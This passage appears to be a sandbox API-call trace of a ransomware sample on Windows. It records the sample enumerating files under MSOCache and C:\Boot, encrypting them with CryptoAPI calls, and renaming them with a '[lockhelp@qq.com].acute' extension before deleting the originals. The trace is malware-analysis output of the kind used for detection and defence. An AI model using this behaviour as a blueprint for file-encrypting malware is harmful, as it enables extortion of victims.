lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0055.399] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0055.399] WriteFile (in: hFile=0x1a0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0055.400] CloseHandle (hObject=0x1a0) returned 1 [0056.831] SetEvent (hEvent=0x11c) returned 1 [0056.832] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0056.832] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.832] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=875520) returned 1 [0056.832] CloseHandle (hObject=0x1b0) returned 1 [0056.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0056.832] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.832] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0056.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd00 | out: lpNewFilePointer=0x0) returned 1 [0056.832] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd00 | out: lpNewFilePointer=0x0) returned 1 [0056.833] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.833] CryptImportKey (in: hProv=0x585138, pbData=0x318fcb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd14 | out: phKey=0x318fd14*=0x5932a0) returned 1 [0056.833] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0056.833] ReadFile (in: hFile=0x1b0, lpBuffer=0x32a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x318fd3c, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesRead=0x318fd3c*=0xd5c00, lpOverlapped=0x0) returned 1 [0056.841] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fcd8*=0xd5c10, dwBufLen=0xd5c10 | out: pbData=0x32a0020*, pdwDataLen=0x318fcd8*=0xd5c10) returned 1 [0056.848] WriteFile (in: hFile=0x1a0, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x318fd20, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd20*=0xd5c10, lpOverlapped=0x0) returned 1 [0056.863] CryptImportKey (in: hProv=0x585138, pbData=0x318fcac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd18 | out: phKey=0x318fd18*=0x593260) returned 1 [0056.863] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0056.863] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fcd8*=0x40, dwBufLen=0x40 | out: pbData=0x32a0020*, pdwDataLen=0x318fcd8*=0x40) returned 1 [0056.863] CryptDestroyKey (hKey=0x593260) returned 1 [0056.863] WriteFile (in: hFile=0x1a0, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x318fd20, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd20*=0xf2, lpOverlapped=0x0) returned 1 [0056.863] CryptDestroyKey (hKey=0x5932a0) returned 1 [0056.863] CloseHandle (hObject=0x1b0) returned 1 [0056.863] CloseHandle (hObject=0x1a0) returned 1 [0056.870] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0056.989] SetEvent (hEvent=0x11c) returned 1 [0056.989] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x318fdc8 | out: pbBuffer=0x318fdc8) returned 1 [0056.989] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0057.912] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x318fd60 | out: lpFileSize=0x318fd60*=13642474) returned 1 [0057.912] CloseHandle (hObject=0x1b0) returned 1 [0057.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0057.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 1 [0058.239] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0058.239] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0058.240] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0058.240] ReadFile (in: hFile=0x1b0, lpBuffer=0x32a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32a0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0058.255] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0058.255] ReadFile (in: hFile=0x1b0, lpBuffer=0x32e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x32e0058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0058.261] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd0 | out: lpNewFilePointer=0x0) returned 1 [0058.261] ReadFile (in: hFile=0x1b0, lpBuffer=0x3320058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x318fcdc, lpOverlapped=0x0 | out: lpBuffer=0x3320058*, lpNumberOfBytesRead=0x318fcdc*=0x40000, lpOverlapped=0x0) returned 1 [0058.269] CryptImportKey (in: hProv=0x585138, pbData=0x318fcc0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x318fd2c | out: phKey=0x318fd2c*=0x5932a0) returned 1 [0058.269] CryptSetKeyParam (hKey=0x5932a0, dwParam=0x1, pbData=0x318fdc8, dwFlags=0x0) returned 1 [0058.269] CryptEncrypt (in: hKey=0x5932a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050, dwBufLen=0xc0050 | out: pbData=0x32a0020*, pdwDataLen=0x318fce0*=0xc0050) returned 1 [0058.275] CryptDestroyKey (hKey=0x5932a0) returned 1 [0058.276] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fd08 | out: lpNewFilePointer=0x0) returned 1 [0058.276] WriteFile (in: hFile=0x1b0, lpBuffer=0x32a0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x318fd18, lpOverlapped=0x0 | out: lpBuffer=0x32a0020*, lpNumberOfBytesWritten=0x318fd18*=0xc0102, lpOverlapped=0x0) returned 1 [0058.289] SetEndOfFile (hFile=0x1b0) returned 1 [0058.289] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0058.289] WriteFile (in: hFile=0x1b0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0058.290] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0058.290] WriteFile (in: hFile=0x1b0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0058.291] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fcd8 | out: lpNewFilePointer=0x0) returned 1 [0058.291] WriteFile (in: hFile=0x1b0, lpBuffer=0x336013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x318fce4, lpOverlapped=0x0 | out: lpBuffer=0x336013a*, lpNumberOfBytesWritten=0x318fce4*=0x40000, lpOverlapped=0x0) returned 1 [0058.570] CloseHandle (hObject=0x1b0) Thread: id = 57 os_tid = 0xbf0 [0046.985] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1216fd8 [0046.985] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x1226fe0 [0046.985] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x28) returned 0xb86620 [0046.986] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x110102) returned 0x3560020 [0046.986] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x50) returned 0xb861f8 [0046.986] CryptImportKey (in: hProv=0x585138, pbData=0x2e7f868, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e7f8d0 | out: phKey=0x2e7f8d0*=0x58bce8) returned 1 [0046.986] CryptSetKeyParam (hKey=0x58bce8, dwParam=0x1, pbData=0x2e7f8b8, dwFlags=0x0) returned 1 [0046.986] CryptDecrypt (in: hKey=0x58bce8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb861f8, pdwDataLen=0x2e7f884 | out: pbData=0xb861f8, pdwDataLen=0x2e7f884) returned 1 [0046.986] CryptDestroyKey (hKey=0x58bce8) returned 1 [0046.986] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0046.986] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0046.986] Wow64DisableWow64FsRedirection (in: OldValue=0x2e7f920 | out: OldValue=0x2e7f920*=0x0) returned 1 [0046.986] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb861f8 | out: hHeap=0xb80000) returned 1 [0046.986] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0046.989] ResetEvent (hEvent=0x12c) returned 1 [0046.989] SetEvent (hEvent=0x138) returned 1 [0046.989] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0046.989] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.034] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=0) returned 1 [0047.034] CloseHandle (hObject=0x170) returned 1 [0047.035] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.035] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=89168) returned 1 [0047.035] CloseHandle (hObject=0x170) returned 1 [0047.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0047.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.035] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.035] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.036] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=87616) returned 1 [0047.036] CloseHandle (hObject=0x170) returned 1 [0047.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0047.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.036] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.036] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.037] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=91712) returned 1 [0047.037] CloseHandle (hObject=0x170) returned 1 [0047.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0047.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.037] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.037] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.038] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=94800) returned 1 [0047.038] CloseHandle (hObject=0x170) returned 1 [0047.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0047.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.038] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.038] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.039] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=85056) returned 1 [0047.039] CloseHandle (hObject=0x170) returned 1 [0047.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0047.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.039] ResetEvent (hEvent=0x12c) returned 1 [0047.039] SetEvent (hEvent=0x138) returned 1 [0047.039] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.039] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0047.040] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=43600) returned 1 [0047.040] CloseHandle (hObject=0x170) returned 1 [0047.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0047.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.040] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.040] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.205] ResetEvent (hEvent=0x12c) returned 1 [0047.205] SetEvent (hEvent=0x138) returned 1 [0047.205] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.205] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.205] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=90192) returned 1 [0047.205] CloseHandle (hObject=0x18c) returned 1 [0047.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0047.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.205] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.205] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.206] ResetEvent (hEvent=0x12c) returned 1 [0047.206] SetEvent (hEvent=0x138) returned 1 [0047.206] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.206] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.207] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=89152) returned 1 [0047.207] CloseHandle (hObject=0x18c) returned 1 [0047.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0047.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.207] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.207] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0 [0047.208] ResetEvent (hEvent=0x12c) returned 1 [0047.208] SetEvent (hEvent=0x138) returned 1 [0047.208] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x2e7f928 | out: pbBuffer=0x2e7f928) returned 1 [0047.208] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0047.208] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2e7f8c0 | out: lpFileSize=0x2e7f8c0*=3694080) returned 1 [0047.208] CloseHandle (hObject=0x18c) returned 1 [0047.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0047.208] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: 